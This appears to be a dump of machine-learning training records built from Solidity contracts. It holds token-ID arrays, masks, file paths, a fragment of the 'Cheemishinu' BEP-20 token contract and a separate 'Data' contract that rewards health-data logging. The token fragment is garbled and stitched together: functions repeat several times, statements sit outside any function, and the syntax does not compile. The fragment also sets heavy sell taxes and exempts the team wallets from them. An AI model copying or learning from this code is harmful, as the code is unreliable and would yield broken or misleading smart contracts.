[ 1, 565, 445, 389, 14676, 41, 451, 12, 11890, 5034, 389, 8949, 16, 2254, 5034, 389, 17169, 14667, 6275, 13, 3238, 288, 203, 3639, 2254, 5034, 2078, 6275, 273, 389, 8949, 18, 1289, 24899, 17169, 14667, 6275, 1769, 203, 203, 3639, 2583, 12, 203, 5411, 1234, 18, 1132, 1545, 2078, 6275, 16, 203, 5411, 315, 17631, 1060, 4243, 30, 486, 570, 83, 9540, 13750, 4508, 2045, 287, 364, 1353, 397, 1656, 281, 6, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 2549, 273, 1234, 18, 1132, 300, 2078, 6275, 31, 203, 203, 3639, 309, 261, 3427, 405, 374, 13, 288, 203, 5411, 8843, 429, 12, 3576, 18, 15330, 2934, 13866, 12, 3427, 1769, 203, 3639, 289, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xaCC970deDc4b7720a1255Da0aC5a7A5f115Aa218/sources/Cheemishinu.sol
Token InfoDivider for the MaxBalance based on circulating Supply (3%)Divider for sellLimit based on circulating Supply (1%))Sellers get locked for MaxSellLockTime (put in seconds, works better especially if changing later) so they can't dump repeatedlyBuyers get locked for MaxBuyLockTime (put in seconds, works better especially if changing later) so they can't buy repeatedlyThe time Liquidity gets locked at start and prolonged once it gets releasedDevWalletsTestNetaddress private constant PancakeRouter=0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;MainNetvariables that track balanceLimit and sellLimit,can be updated based on circulating supply and Sell- and BalanceLimitDividersTracks the current Taxes, different Taxes can be applied for buy/sell/transferChecks if address is in Team, is needed to give Team access even if contract is renouncedTeam doesn't have access to critical Functions that could turn this into a Rugpull(Exept liquidity unlocks)
{ using Address for address; using EnumerableSet for EnumerableSet.AddressSet; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _sellLock; mapping (address => uint256) private _buyLock; EnumerableSet.AddressSet private _excluded; EnumerableSet.AddressSet private _excludedFromSellLock; EnumerableSet.AddressSet private _excludedFromBuyLock; EnumerableSet.AddressSet private _excludedFromStaking; string private constant _name = 'CHEEMISHINU'; string private constant _symbol = '$CHINU'; uint8 private constant _decimals = 9; uint8 public constant BalanceLimitDivider=34; uint16 public constant SellLimitDivider=100; uint16 public constant MaxSellLockTime= 0 seconds; uint16 public constant MaxBuyLockTime= 0 seconds; uint256 private constant DefaultLiquidityLockTime= 1800; address public TeamWallet=payable(0x160020De900D248Dd77F3435EAA4A5f855832Ad8); address public walletTwo=payable(0x3AfC261F56fF0a19f84FdcC2a7672D08ee60b260); address private constant PancakeRouter=0x10ED43C718714eb63d5aA57B78B54704E256024E; uint256 private _circulatingSupply =InitialSupply; uint256 public balanceLimit = _circulatingSupply; uint256 public sellLimit = _circulatingSupply; uint256 private antiWhale = 60000000000000000000 * 10**_decimals; uint8 private _buyTax; uint8 private _sellTax; uint8 private _transferTax; uint8 private _burnTax; uint8 private _liquidityTax; uint8 private _stakingTax; address private _pancakePairAddress; IPancakeRouter02 private _pancakeRouter; function _isTeam(address addr) private view returns (bool){ return addr==owner()||addr==TeamWallet||addr==walletTwo; } constructor () { uint256 deployerBalance=_circulatingSupply; _balances[msg.sender] = deployerBalance; emit Transfer(address(0), msg.sender, deployerBalance); _pancakeRouter = IPancakeRouter02(PancakeRouter); _pancakePairAddress = IPancakeFactory(_pancakeRouter.factory()).createPair(address(this), _pancakeRouter.WETH()); balanceLimit=InitialSupply/BalanceLimitDivider; sellLimit=InitialSupply/SellLimitDivider; sellLockTime=0; buyLockTime=0; _buyTax=10; _sellTax=40; _transferTax=40; _burnTax=0; _liquidityTax=40; _stakingTax=60; _excluded.add(TeamWallet); _excluded.add(walletTwo); _excluded.add(msg.sender); _excludedFromStaking.add(address(_pancakeRouter)); _excludedFromStaking.add(_pancakePairAddress); _excludedFromStaking.add(address(this)); _excludedFromStaking.add(0x000000000000000000000000000000000000dEaD); } function _transfer(address sender, address recipient, uint256 amount) private{ require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient)); bool isContractTransfer=(sender==address(this) || recipient==address(this)); address pancakeRouter=address(_pancakeRouter); bool isLiquidityTransfer = ((sender == _pancakePairAddress && recipient == pancakeRouter) || (recipient == _pancakePairAddress && sender == pancakeRouter)); bool isBuy=sender==_pancakePairAddress|| sender == pancakeRouter; bool isSell=recipient==_pancakePairAddress|| recipient == pancakeRouter; if(isContractTransfer || isLiquidityTransfer || isExcluded){ _feelessTransfer(sender, recipient, amount); } else{ require(tradingEnabled,"trading not yet enabled"); _taxedTransfer(sender,recipient,amount,isBuy,isSell); } } function _transfer(address sender, address recipient, uint256 amount) private{ require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient)); bool isContractTransfer=(sender==address(this) || recipient==address(this)); address pancakeRouter=address(_pancakeRouter); bool isLiquidityTransfer = ((sender == _pancakePairAddress && recipient == pancakeRouter) || (recipient == _pancakePairAddress && sender == pancakeRouter)); bool isBuy=sender==_pancakePairAddress|| sender == pancakeRouter; bool isSell=recipient==_pancakePairAddress|| recipient == pancakeRouter; if(isContractTransfer || isLiquidityTransfer || isExcluded){ _feelessTransfer(sender, recipient, amount); } else{ require(tradingEnabled,"trading not yet enabled"); _taxedTransfer(sender,recipient,amount,isBuy,isSell); } } function _transfer(address sender, address recipient, uint256 amount) private{ require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient)); bool isContractTransfer=(sender==address(this) || recipient==address(this)); address pancakeRouter=address(_pancakeRouter); bool isLiquidityTransfer = ((sender == _pancakePairAddress && recipient == pancakeRouter) || (recipient == _pancakePairAddress && sender == pancakeRouter)); bool isBuy=sender==_pancakePairAddress|| sender == pancakeRouter; bool isSell=recipient==_pancakePairAddress|| recipient == pancakeRouter; if(isContractTransfer || isLiquidityTransfer || isExcluded){ _feelessTransfer(sender, recipient, amount); } else{ require(tradingEnabled,"trading not yet enabled"); _taxedTransfer(sender,recipient,amount,isBuy,isSell); } } function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); uint8 tax; if(isSell){ if(!_excludedFromSellLock.contains(sender)){ require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Seller in sellLock"); _sellLock[sender]=block.timestamp+sellLockTime; } tax=_sellTax; if(!_excludedFromBuyLock.contains(recipient)){ require(_buyLock[recipient]<=block.timestamp||buyLockDisabled,"Buyer in buyLock"); _buyLock[recipient]=block.timestamp+buyLockTime; } require(amount <= antiWhale,"Tx amount exceeding max buy amount"); tax=_buyTax; require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Sender in Lock"); tax=_transferTax; } _swapContractToken(); emit Transfer(sender,recipient,taxedAmount); } function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); uint8 tax; if(isSell){ if(!_excludedFromSellLock.contains(sender)){ require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Seller in sellLock"); _sellLock[sender]=block.timestamp+sellLockTime; } tax=_sellTax; if(!_excludedFromBuyLock.contains(recipient)){ require(_buyLock[recipient]<=block.timestamp||buyLockDisabled,"Buyer in buyLock"); _buyLock[recipient]=block.timestamp+buyLockTime; } require(amount <= antiWhale,"Tx amount exceeding max buy amount"); tax=_buyTax; require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Sender in Lock"); tax=_transferTax; } _swapContractToken(); emit Transfer(sender,recipient,taxedAmount); } function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); uint8 tax; if(isSell){ if(!_excludedFromSellLock.contains(sender)){ require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Seller in sellLock"); _sellLock[sender]=block.timestamp+sellLockTime; } tax=_sellTax; if(!_excludedFromBuyLock.contains(recipient)){ require(_buyLock[recipient]<=block.timestamp||buyLockDisabled,"Buyer in buyLock"); _buyLock[recipient]=block.timestamp+buyLockTime; } require(amount <= antiWhale,"Tx amount exceeding max buy amount"); tax=_buyTax; require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Sender in Lock"); tax=_transferTax; } _swapContractToken(); emit Transfer(sender,recipient,taxedAmount); } require(amount<=sellLimit,"Dump protection"); } else if(isBuy){ function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); uint8 tax; if(isSell){ if(!_excludedFromSellLock.contains(sender)){ require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Seller in sellLock"); _sellLock[sender]=block.timestamp+sellLockTime; } tax=_sellTax; if(!_excludedFromBuyLock.contains(recipient)){ require(_buyLock[recipient]<=block.timestamp||buyLockDisabled,"Buyer in buyLock"); _buyLock[recipient]=block.timestamp+buyLockTime; } require(amount <= antiWhale,"Tx amount exceeding max buy amount"); tax=_buyTax; require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Sender in Lock"); tax=_transferTax; } _swapContractToken(); emit Transfer(sender,recipient,taxedAmount); } require(recipientBalance+amount<=balanceLimit,"whale protection"); if(amount<=10**(_decimals)) claim(sender); require(recipientBalance+amount<=balanceLimit,"whale protection"); if(!_excludedFromSellLock.contains(sender)) if((sender!=_pancakePairAddress)&&(!manualConversion)&&(!_isSwappingContractModifier)&&isSell) uint256 tokensToBeBurnt=_calculateFee(amount, tax, _burnTax); uint256 contractToken=_calculateFee(amount, tax, _stakingTax+_liquidityTax); uint256 taxedAmount=amount-(tokensToBeBurnt + contractToken); _removeToken(sender,amount); _balances[address(this)] += contractToken; _circulatingSupply-=tokensToBeBurnt; _addToken(recipient, taxedAmount); function _feelessTransfer(address sender, address recipient, uint256 amount) private{ uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); _removeToken(sender,amount); _addToken(recipient, amount); emit Transfer(sender,recipient,amount); } function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) { return (amount*tax*taxPercent) / 10000; } uint8 public marketingShare=100; bool private _isWithdrawing; uint256 private constant DistributionMultiplier = 2**64; uint256 public profitPerShare; uint256 public totalStakingReward; uint256 public totalPayouts; uint256 public marketingBalance; mapping(address => uint256) private alreadyPaidShares; mapping(address => uint256) private toBePaid; function isExcludedFromStaking(address addr) public view returns (bool){ return _excludedFromStaking.contains(addr); } function _getTotalShares() public view returns (uint256){ uint256 shares=_circulatingSupply; for(uint i=0; i<_excludedFromStaking.length(); i++){ shares-=_balances[_excludedFromStaking.at(i)]; } return shares; } function _getTotalShares() public view returns (uint256){ uint256 shares=_circulatingSupply; for(uint i=0; i<_excludedFromStaking.length(); i++){ shares-=_balances[_excludedFromStaking.at(i)]; } return shares; } function _addToken(address addr, uint256 amount) private { uint256 newAmount=_balances[addr]+amount; if(isExcludedFromStaking(addr)){ _balances[addr]=newAmount; return; } } function _addToken(address addr, uint256 amount) private { uint256 newAmount=_balances[addr]+amount; if(isExcludedFromStaking(addr)){ _balances[addr]=newAmount; return; } } uint256 payment=_newDividentsOf(addr); alreadyPaidShares[addr] = profitPerShare * newAmount; toBePaid[addr]+=payment; _balances[addr]=newAmount; function _removeToken(address addr, uint256 amount) private { uint256 newAmount=_balances[addr]-amount; if(isExcludedFromStaking(addr)){ _balances[addr]=newAmount; return; } } function _removeToken(address addr, uint256 amount) private { uint256 newAmount=_balances[addr]-amount; if(isExcludedFromStaking(addr)){ _balances[addr]=newAmount; return; } } uint256 payment=_newDividentsOf(addr); _balances[addr]=newAmount; alreadyPaidShares[addr] = profitPerShare * newAmount; toBePaid[addr]+=payment; function _newDividentsOf(address staker) private view returns (uint256) { uint256 fullPayout = profitPerShare * _balances[staker]; if(fullPayout<alreadyPaidShares[staker]) return 0; return (fullPayout - alreadyPaidShares[staker]) / DistributionMultiplier; } function _distributeStake(uint256 BNBamount) private { uint256 marketingSplit = (BNBamount * marketingShare) / 100; uint256 amount = BNBamount - marketingSplit; marketingBalance+=marketingSplit; if (amount > 0) { totalStakingReward += amount; uint256 totalShares=_getTotalShares(); if (totalShares == 0) { marketingBalance += amount; profitPerShare += ((amount * DistributionMultiplier) / totalShares); } } } event OnWithdrawXRP(uint256 amount, address recipient); function _distributeStake(uint256 BNBamount) private { uint256 marketingSplit = (BNBamount * marketingShare) / 100; uint256 amount = BNBamount - marketingSplit; marketingBalance+=marketingSplit; if (amount > 0) { totalStakingReward += amount; uint256 totalShares=_getTotalShares(); if (totalShares == 0) { marketingBalance += amount; profitPerShare += ((amount * DistributionMultiplier) / totalShares); } } } event OnWithdrawXRP(uint256 amount, address recipient); function _distributeStake(uint256 BNBamount) private { uint256 marketingSplit = (BNBamount * marketingShare) / 100; uint256 amount = BNBamount - marketingSplit; marketingBalance+=marketingSplit; if (amount > 0) { totalStakingReward += amount; uint256 totalShares=_getTotalShares(); if (totalShares == 0) { marketingBalance += amount; profitPerShare += ((amount * DistributionMultiplier) / totalShares); } } } event OnWithdrawXRP(uint256 amount, address recipient); }else{ function claim(address addr) private{ require(!_isWithdrawing); _isWithdrawing=true; uint256 amount; if(isExcludedFromStaking(addr)){ amount=toBePaid[addr]; toBePaid[addr]=0; } else{ uint256 newAmount=_newDividentsOf(addr); alreadyPaidShares[addr] = profitPerShare * _balances[addr]; amount=toBePaid[addr]+newAmount; toBePaid[addr]=0; } _isWithdrawing=false; return; } totalPayouts+=amount; address[] memory path = new address[](2); 0, path, addr, block.timestamp); emit OnWithdrawXRP(amount, addr); _isWithdrawing=false; function claim(address addr) private{ require(!_isWithdrawing); _isWithdrawing=true; uint256 amount; if(isExcludedFromStaking(addr)){ amount=toBePaid[addr]; toBePaid[addr]=0; } else{ uint256 newAmount=_newDividentsOf(addr); alreadyPaidShares[addr] = profitPerShare * _balances[addr]; amount=toBePaid[addr]+newAmount; toBePaid[addr]=0; } _isWithdrawing=false; return; } totalPayouts+=amount; address[] memory path = new address[](2); 0, path, addr, block.timestamp); emit OnWithdrawXRP(amount, addr); _isWithdrawing=false; function claim(address addr) private{ require(!_isWithdrawing); _isWithdrawing=true; uint256 amount; if(isExcludedFromStaking(addr)){ amount=toBePaid[addr]; toBePaid[addr]=0; } else{ uint256 newAmount=_newDividentsOf(addr); alreadyPaidShares[addr] = profitPerShare * _balances[addr]; amount=toBePaid[addr]+newAmount; toBePaid[addr]=0; } _isWithdrawing=false; return; } totalPayouts+=amount; address[] memory path = new address[](2); 0, path, addr, block.timestamp); emit OnWithdrawXRP(amount, addr); _isWithdrawing=false; _pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( }
16,482,591
[ 1, 1345, 3807, 25558, 364, 326, 4238, 13937, 2511, 603, 5886, 1934, 1776, 3425, 1283, 261, 23, 9, 13, 25558, 364, 357, 80, 3039, 2511, 603, 5886, 1934, 1776, 3425, 1283, 261, 21, 9, 3719, 55, 1165, 414, 336, 8586, 364, 4238, 55, 1165, 2531, 950, 261, 458, 316, 3974, 16, 6330, 7844, 29440, 309, 12770, 5137, 13, 1427, 2898, 848, 1404, 4657, 30412, 38, 9835, 414, 336, 8586, 364, 4238, 38, 9835, 2531, 950, 261, 458, 316, 3974, 16, 6330, 7844, 29440, 309, 12770, 5137, 13, 1427, 2898, 848, 1404, 30143, 30412, 1986, 813, 511, 18988, 24237, 5571, 8586, 622, 787, 471, 450, 5748, 329, 3647, 518, 5571, 15976, 8870, 26558, 2413, 4709, 50, 1167, 72, 663, 3238, 5381, 12913, 23780, 8259, 33, 20, 92, 29, 9988, 1105, 39, 71, 26, 73, 6334, 3600, 25339, 39, 24, 2539, 18096, 28, 41, 8875, 6418, 2954, 69, 2539, 26, 4630, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 95, 203, 565, 1450, 5267, 364, 1758, 31, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 1887, 694, 31, 203, 377, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 87, 1165, 2531, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 9835, 2531, 31, 203, 203, 565, 6057, 25121, 694, 18, 1887, 694, 3238, 389, 24602, 31, 203, 565, 6057, 25121, 694, 18, 1887, 694, 3238, 389, 24602, 31145, 1165, 2531, 31, 203, 565, 6057, 25121, 694, 18, 1887, 694, 3238, 389, 24602, 1265, 38, 9835, 2531, 31, 203, 565, 6057, 25121, 694, 18, 1887, 694, 3238, 389, 24602, 1265, 510, 6159, 31, 203, 565, 533, 3238, 5381, 389, 529, 273, 296, 5007, 3375, 20424, 706, 57, 13506, 203, 565, 533, 3238, 5381, 389, 7175, 273, 3365, 1792, 706, 57, 13506, 203, 565, 2254, 28, 3238, 5381, 389, 31734, 273, 2468, 31, 203, 203, 565, 2254, 28, 1071, 5381, 30918, 3039, 25558, 33, 5026, 31, 203, 565, 2254, 2313, 1071, 5381, 348, 1165, 3039, 25558, 33, 6625, 31, 203, 565, 2254, 2313, 1071, 5381, 4238, 55, 1165, 2531, 950, 33, 374, 3974, 31, 203, 565, 2254, 2313, 1071, 5381, 4238, 38, 9835, 2531, 950, 33, 374, 3974, 31, 203, 565, 2254, 5034, 3238, 5381, 2989, 48, 18988, 24237, 2531, 950, 33, 6549, 2 ]
pragma solidity ^0.4.0; import './ownable.sol'; // Import Ownable contract. /** @title Data.*/ contract Data is Ownable { // TYPES uint internal time; // Time of the last refill. uint internal rewardPerDay; // Reward per day. uint internal available; // Available per day. uint internal timesPerDay; // Times you have to save all types of data per day to complete the cycle. struct DataType { // Struct. string name; // Data Type name. uint reward; // Reward in Cell. uint times; // Times to complete the cycle per day. uint time; // Time to complete the cycle per day. bool state; // State of the struct tobe used. bool toCount; // True if it were counted for the cycle per day. } mapping ( string => uint ) internal data; // Saving the id of each DataType.name. DataType[] internal dataTypes; // DataType struct array. modifier isValidData( string dataType ){ require( data[dataType] != 0 ); _; } constructor() public { rewardPerDay = 2000000000000000000000; available = 2000000000000000000000; time = now; // Set to time. // Default. uint id = dataTypes.push(DataType({ name: "", reward: 0, times: 0, time: 0, state: false, toCount: false })); data[""] = id; // Energy. id = dataTypes.push(DataType({ name: "Energy", reward: 100000000000000, times: 1, time: 1 days, state: true, toCount: true })) - 1; data["Energy"] = id; // Water. id = dataTypes.push(DataType({ name: "Water", reward: 100000000000000, times: 8, time: 1 days, state: true, toCount: true })) - 1; data["Water"] = id; // Meditation. id = dataTypes.push(DataType({ name: "Meditation", reward: 100000000000000, times: 1, time: 1 days, state: true, toCount: true })) - 1; data["Meditation"] = id; // Stool. id = dataTypes.push(DataType({ name: "Stool", reward: 100000000000000, times: 1, time: 1 days, state: true, toCount: true })) - 1; data["Stool"] = id; // Sleep. id = dataTypes.push(DataType({ name: "Sleep", reward: 100000000000000, times: 1, time: 1 days, state: true, toCount: true })) - 1; data["Sleep"] = id; // Survey. id = dataTypes.push(DataType({ name: "Survey", reward: 100000000000000, times: 1, time: 30 days, state: true, toCount: false })) - 1; data["Survey"] = id; // Profile. id = dataTypes.push(DataType({ name: "Profile", reward: 0, times: 1, time: 0, state: true, toCount: false })) - 1; data["Profile"] = id; //MRI. id = dataTypes.push(DataType({ name: "MRI", reward: 0, times: 0, time: 0, state: false, toCount: false })) - 1; data["MRI"] = id; setTimesPerDay(); // Set timtimesPerDay. } // PUBLIC METHODS - ONLY OWNER /** * @dev Create DataType * @param _dataType String - Data Type name. * @param _times Uint - Times to complete the cycle per day. * @param _reward Uint - Reward in Cell. * @param _time Uint - Time to complete the cycle per day. * @param _state Bool - State of the struct tobe used. * @param _toCount Bool - True if it were counted for the cycle per day. */ function createDataType( string _dataType, uint _times, uint _reward, uint _time, bool _state, bool _toCount ) onlyOwner public { uint id = dataTypes.push(DataType({ name: _dataType, reward: _reward, times: _times, time: _time, state: _state, toCount: _toCount })) - 1; data[_dataType] = id; setTimesPerDay(); } /** * @dev Update a DataType * @param _dataType String - Data Type name. * @param _times Uint - Times to complete the cycle per day. * @param _reward Uint - Reward in Cell. * @param _time Uint - Time to complete the cycle per day. * @param _state Bool - State of the struct tobe used. * @param _toCount Bool - True if it were counted for the cycle per day. */ function updateDataType( string _dataType, uint _times, uint _reward, uint _time, bool _state, bool _toCount ) onlyOwner isValidData( _dataType ) public { uint id = data[_dataType]; dataTypes[id].times = _times; dataTypes[id].reward = _reward; dataTypes[id].time = 1 hours * _time; dataTypes[id].state = _state; dataTypes[id].toCount = _toCount; setTimesPerDay(); } /** * @param _dataType String - * @return _dataType String - Data Type name. * @return _times Uint - Times to complete the cycle per day. * @return _reward Uint - Reward in Cell. * @return _time Uint - Time to complete the cycle per day. * @return _state Bool - State of the struct tobe used. * @return _toCount Bool - True if it were counted for the cycle per day. */ function getDataType( string _dataType ) onlyOwner isValidData( _dataType ) public constant returns( string name, uint reward, uint times, uint timeInSecond, bool state, bool toCount ) { uint id = data[_dataType]; DataType storage dt = dataTypes[id]; return ( dt.name, dt.reward, dt.times, dt.time, dt.state, dt.toCount ); } /** * @dev Change the state of the DataType * @param _dataType String - Data type. */ function changeState( string _dataType ) onlyOwner isValidData( _dataType ) public { uint id = data[_dataType]; DataType storage dt = dataTypes[id]; dt.state = !dt.state; } /** * @dev Change the toCount of the toCount * @param _dataType String - Data type. */ function changeToCount( string _dataType ) onlyOwner isValidData( _dataType ) public { uint id = data[_dataType]; DataType storage dt = dataTypes[id]; dt.toCount = !dt.toCount; setTimesPerDay(); } /** * @dev Change the reward of the DataType * @param _dataType String - Data type. * @param _reward Uint - Reward in Cell. */ function setReward( string _dataType, uint _reward) onlyOwner isValidData( _dataType ) public { uint id = data[_dataType]; DataType storage dt = dataTypes[id]; dt.reward = _reward; } /** * @dev Change the time of the DataType * @param dataType String - Data type. * @param _time Uint - Time to complete the cycle per day. */ function setTime( string dataType, uint _time) onlyOwner isValidData( dataType ) public { uint id = data[dataType]; DataType storage dt = dataTypes[id]; dt.time = 1 hours * _time; } /** * @dev Change times of the DataType. * @param dataType String - Data type . * @param _times Uint - Times to complete the cycle per day. */ function setTimes( string dataType, uint _times ) onlyOwner isValidData( dataType ) public { uint id = data[dataType]; DataType storage dt = dataTypes[id]; dt.times = _times; setTimesPerDay(); } /** * @param _available Uint - Set avaliable per day. */ function setAvaliable( uint _available ) onlyOwner public { available = _available; } /** * @param _rewardPerDay Uint - Set reward per day. */ function setRewardPerDay( uint _rewardPerDay ) onlyOwner public { rewardPerDay = _rewardPerDay; } // PUBLIC METHODS /** * @return available Uint - Reward per day. */ function getAvailable() public constant returns ( uint ) { return available; } /** * @return rewardPerDay Uint - The available Cell per day to the reward. */ function getRewardPerDay() public constant returns ( uint ) { return rewardPerDay; } /** * @return timesPerDay Uint - The time to complete a cycle. */ function getTimesPerDay() public constant returns ( uint ) { return timesPerDay; } /** * @return Uint - Id by dataType. */ function getIdByName( string _dataType ) public constant isValidData( _dataType ) returns( uint ) { return data[_dataType]; } /** * @return Uint - reward by dataType. */ function getReward( string _dataType ) public constant isValidData( _dataType ) returns( uint ) { uint id = data[_dataType]; DataType storage dt = dataTypes[id]; return dt.reward; } /** * @return Uint - time by dataType. */ function getTime( string _dataType ) public constant isValidData( _dataType ) returns( uint ) { uint id = data[_dataType]; DataType storage dt = dataTypes[id]; return dt.time; } /** * @return Uint - times by dataType. */ function getTimes( string _dataType ) public constant isValidData( _dataType ) returns( uint ) { uint id = data[_dataType]; DataType storage dt = dataTypes[id]; return dt.times; } /** * @return Uint - state by dataType. */ function getState( string _dataType ) public constant isValidData( _dataType ) returns( bool ) { uint id = data[_dataType]; DataType storage dt = dataTypes[id]; return dt.state; } /** * @return Uint - toCount by dataType. */ function getToCount( string _dataType ) public constant isValidData( _dataType ) returns( bool ) { uint id = data[_dataType]; DataType storage dt = dataTypes[id]; return dt.toCount; } /** * @return Uint - Length of the dataType. */ function getDataTypesLength() public constant returns ( uint ) { return dataTypes.length; } function getDataTypeNameById( uint _id ) public constant returns ( string ) { return dataTypes[_id].name; } // INTERNAL METHODS /** * @dev Restart the available reward. */ function restartReward() public returns ( bool ) { rewardPerDay = available; time = now; // Set time. return true; } /** * return Bool - Check if the day is over. */ function isDayOver() public constant returns ( bool ) { if( time + 1 days < now ) return true; else return false; } // PRIVATE METHODS /** * @dev Set timesPerDay. */ function setTimesPerDay() private { uint times; for( uint i = 0 ; i < dataTypes.length ; i++ ){ if( dataTypes[i].toCount ) times += dataTypes[i].times; } timesPerDay = times; } }
Times to complete the cycle per day.
uint times;
5,536,607
[ 1, 10694, 358, 3912, 326, 8589, 1534, 2548, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 4124, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 